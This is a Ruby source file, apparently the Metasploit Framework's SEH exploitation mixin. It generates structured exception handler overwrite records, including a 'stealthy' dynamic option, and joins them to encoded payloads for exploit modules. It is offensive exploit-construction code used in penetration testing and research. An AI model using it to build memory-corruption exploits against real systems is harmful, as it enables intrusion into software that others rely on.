72 lines
1.8 KiB
Ruby
72 lines
1.8 KiB
Ruby
require 'rex/exploitation/seh'
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module Msf
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###
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#
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# This mixin provides a interface to generating SEH registration records in a
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# robust fashion using the Rex::Exploitation::Seh class.
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#
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###
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module Exploit::Seh
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#
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# Creates an instance of an exploit that uses an SEH overwrite.
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#
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def initialize(info = {})
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super
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# Register an advanced option that allows users to specify whether or
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# not a dynamic SEH record should be used.
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register_advanced_options(
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[
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OptBool.new('DynamicSehRecord', [ false, "Generate a dynamic SEH record (more stealthy)", false ])
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], Msf::Exploit::Seh)
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end
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#
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# Generates an SEH record with zero or more options. The supported options
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# are:
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#
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# NopGenerator
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#
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# The NOP generator instance to use, if any.
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#
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# Space
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#
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# The amount of room the SEH record generator has to play with for
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# random padding. This should be derived from the maximum amount of
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# space available to the exploit for payloads minus the current payload
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# size.
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#
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def generate_seh_record(handler, opts = {})
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seh = Rex::Exploitation::Seh.new(
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payload_badchars,
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opts['Space'] || payload_space,
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opts['NopGenerator'] || nop_generator)
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# Generate the record
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seh.generate_seh_record(handler, datastore['DynamicSehRecord'])
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end
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def generate_seh_payload(handler, opts = {})
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# The boilerplate this replaces always has 8 bytes for seh + addr
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seh_space = 8 + payload.nop_sled_size
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seh = Rex::Exploitation::Seh.new(
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payload_badchars,
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seh_space,
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opts['NopGenerator'] || nop_generator)
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# Generate the record
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rec = seh.generate_seh_record(handler, datastore['DynamicSehRecord'])
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# Append the payload, minus the nop sled that we replaced
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rec << payload.encoded.slice(payload.nop_sled_size, payload.encoded.length)
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end
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end
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end
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